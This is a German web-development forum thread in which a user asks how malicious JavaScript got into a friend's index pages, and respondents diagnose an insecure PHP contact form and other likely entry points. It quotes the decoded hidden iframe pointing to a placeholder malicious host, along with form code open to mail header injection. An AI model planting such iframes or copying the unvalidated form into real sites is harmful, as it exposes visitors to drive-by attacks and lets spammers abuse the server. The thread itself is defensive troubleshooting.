Patrick Andrieu: Wie kommt schadhafter JavaScript-Code in die Startseite?

Hallo alle!

Ich stelle die Frage unter PHP, weil ich ein unsicheres Kontaktformular in Verdacht habe, doch der Reihe nach. Der Themenbereich kann natürlich gegen einen passenderen von den Antwortenden ausgetauscht werden.

Bei einem Bekannten war die Startseite mit einem JavaScript-Schnipsel infiziert, so ähnlich wie hier beschrieben. Der im Beitrag verlinkte Code ist allerdings viel länger als beim Bekannten, und ich hatte durch simples Austauschen des »document.write« durch ein »alert« bereits herausgefunden, dass der Code ein verstecktes iFrame ins Dokument einbaut, denn das kam dabei raus:

<div style="visibility:hidden"><iframe src="http://schadhaft.example.com/ld/ment/" widht=100 height=80></iframe></div>

Doch im verlinkten Beitrag wird die Frage »Ebenso unklar bleibt, wie der Code denn nun in das Index-Dokument seiner Website kam« nicht beantwortet, und die interessiert mich viel mehr als das, was der Code-Schnipsel macht.

Andere User in anderen Blogs/Foren berichteten, dass alle index.html-Dateien (also auch in Unterordnern) »infiziert« waren.

Frage: Wie gelang der JavaScript-Code in die Startseite bzw. index.html-Seiten?

Der PHP-Code der Kontakt-Seite sieht wie folgt aus:

            <?php if (isset ($Email) && isset ($VName) && isset($Nachricht)){  
                $MailTo="kunde@example.com";  
                $nowDay=date("d.m.Y");  
                $nowClock=date("H:i:s");  
                $FormContent="  
                Kontaktformular Kunde\n  
                Diese Nachricht wurde am  $nowDay um $nowClock abgeschickt.\n\n  
                ---------------------------------------------------------\n  
                Vorname: $VName\n  
                Name: $NName\n  
                Email: $Email\n  
                Telefon: $Tel\n\n  
                ---------------------------------------------------------\n  
                Nachricht: $Nachricht\n  
                ---------------------------------------------------------\n  
                ";  
                mail($MailTo,"Nachricht von $VName $NName", $FormContent, "From: $Email");  
                }  
            ?>

und ist unterhalb eines Formulars notiert, deren Feldnamen den Variablenbezeichungen entspricht.

Auch wenn ich von PHP soviel Ahnung habe wie vom Pizzabacken sehe ich hier, dass wir eine wunderbare Spamschleuder haben, denn nichts, aber rein gar nichts wird geprüft. Abgesehen des Missbrauchs als Spamschleuder, kann so ein unsicheres PHP-Code die Ursache sein für die Infizierung? Es wird keine Bestätigungsseite ausgegeben, deren Infizierung ein Leichtes wäre, so dass die Frage weiter oben bleibt: Wie kommen die Hacker auf die _Startseite_?

P.S.: Den Code habe ich, bis ich einen sichereren PHP-Code finde, durch eine E-Mail-Adresse ausgetauscht. Perl steht auf dem Webspace des Bekannten nicht zur Verfügung, sonst hätte ich meinen eigenen, sicheren Formmailer eingebaut.

Viele Grüße aus Frankfurt/Main,
Patrick

--
_ - jenseits vom delirium - _

   Diblom   [link:hatehtehpehdoppelpunktslashslashwehwehwehpunktatomicminuseggspunktcomslash]
J'ai 10 ans! | Achtung Agentur! | Nichts ist unmöglich? Doch! | Heute schon gegökt?
  1. Moin!

    Ich stelle die Frage unter PHP, weil ich ein unsicheres Kontaktformular in Verdacht habe

    Das Formular ist zwar Mist, aber ich kann nicht erkennen, warum es irgendeinen Zugriff auf andere Dateien haben sollte.

    Frage: Wie gelang der JavaScript-Code in die Startseite bzw. index.html-Seiten?

    Diese Frage lässt sich nicht durch diesen Code erklären:

    <?php if (isset ($Email) && isset ($VName) && isset($Nachricht)){

    $MailTo="kunde@example.com";
                    $nowDay=date("d.m.Y");
                    $nowClock=date("H:i:s");
                    $FormContent="
                    Kontaktformular Kunde\n
                    Diese Nachricht wurde am  $nowDay um $nowClock abgeschickt.\n\n
                    ---------------------------------------------------------\n
                    Vorname: $VName\n
                    Name: $NName\n
                    Email: $Email\n
                    Telefon: $Tel\n\n
                    ---------------------------------------------------------\n
                    Nachricht: $Nachricht\n
                    ---------------------------------------------------------\n
                    ";
                    mail($MailTo,"Nachricht von $VName $NName", $FormContent, "From: $Email");
                    }
                ?>

      
    
    > Auch wenn ich von PHP soviel Ahnung habe wie vom Pizzabacken sehe ich hier, dass wir eine wunderbare Spamschleuder haben, denn nichts, aber rein gar nichts wird geprüft.  
      
    Durch Header-Injection kann man hier wunderbar angreifen. Das würde nur verhindert, wenn beispielsweise die PHP-Extension Suhosin installiert wäre.  
      
    Das einzige, was damit erreicht würde, wäre dann aber Spam - der zudem auch immer an der fest definierten Zieladresse auftauchen würde.  
      
    
    > Wie kommen die Hacker auf die \_Startseite\_?  
      
    Über andere Wege wahrscheinlich.  
      
    Wenn der Server schlecht konfiguriert ist, eventuell auch von Skripten anderer Webpräsenzen. Ansonsten eher über ein unvorsichtig eingebautes include() oder require() mit Variablen drin.  
      
     - Sven Rautenberg
    
  2. echo $begrüßung;

    Frage: Wie gelang der JavaScript-Code in die Startseite bzw. index.html-Seiten?

    In dem PHP-Code ist nichts zu sehen, das eine Datei schreiben kann oder PHP-Code nachladen kann, um dies zu tun.

    Auch wenn ich von PHP soviel Ahnung habe wie vom Pizzabacken sehe ich hier, dass wir eine wunderbare Spamschleuder haben, denn nichts, aber rein gar nichts wird geprüft. Abgesehen des Missbrauchs als Spamschleuder, kann so ein unsicheres PHP-Code die Ursache sein für die Infizierung?

    Abgesehen davon, dass das Script auch noch auf dem schon seit Jahren eigentlich deaktiviertem Feature Register Globals aufsetzt, wird speziell dieses nicht die Ursache sein. Alles andere ist Spekulation. Jemand mit administrativen Rechten sollte sich den Server ansehen.

    echo "$verabschiedung $name";

  3. Hellihello

    Also der PHP-Code hat ja nix mit den index.html zu tun, oder? Wenn alle Indexen "befallen" sind, dann wohl eher per FTP oder sonstigem Zugang (Telnet, ssh ...???)?

    Dank und Gruß,

    frankx

    --
    tryin to multitain  - Globus = Planet != Welt
  4. Hallo Sven, dedlfix und frankx!

    Danke für die Antworten. PHP-Dateien, die include oder require nutzen, gibt es nicht. Es gibt noch ein Login-Formular, das eine Art Passwort überprüft, und eine logout.php (die aber nirgends eingebunden wird *g*)...

    Allerdings gibt es beim Provider ein WebFTP genanntes Tool, das vermutlich auf PHP basiert, jedenfalls mit deaktiviertem JavaScript nicht zu bedienen ist ().

    Vielleicht ist auch da die Ursache zu finden. Derweil habe ich alle Passwörter geändert und dem Bekannten zukommen lassen.

    Viele Grüße aus Frankfurt/Main,
    Patrick

    --
    _ - jenseits vom delirium - _

       Diblom   [link:hatehtehpehdoppelpunktslashslashwehwehwehpunktatomicminuseggspunktcomslash]
    J'ai 10 ans! | Achtung Agentur! | Nichts ist unmöglich? Doch! | Heute schon gegökt?
    1. Hellihello,

      naja, u.U. ist der Provider eben wie Du sagst geentert worden. Da wären der Wege aber wirklich viele, und die Motivation, dass zuzugeben u.U. eher gering.

      Dank und Gruß,

      frankx

      --
      tryin to multitain  - Globus = Planet != Welt
      1. Hellihello Ingrid,

        http://forum.de.selfhtml.org/archiv/2008/11/t179914/#m1187922

        Dank und Gruß,

        frankx

        --
        tryin to multitain  - Globus = Planet != Welt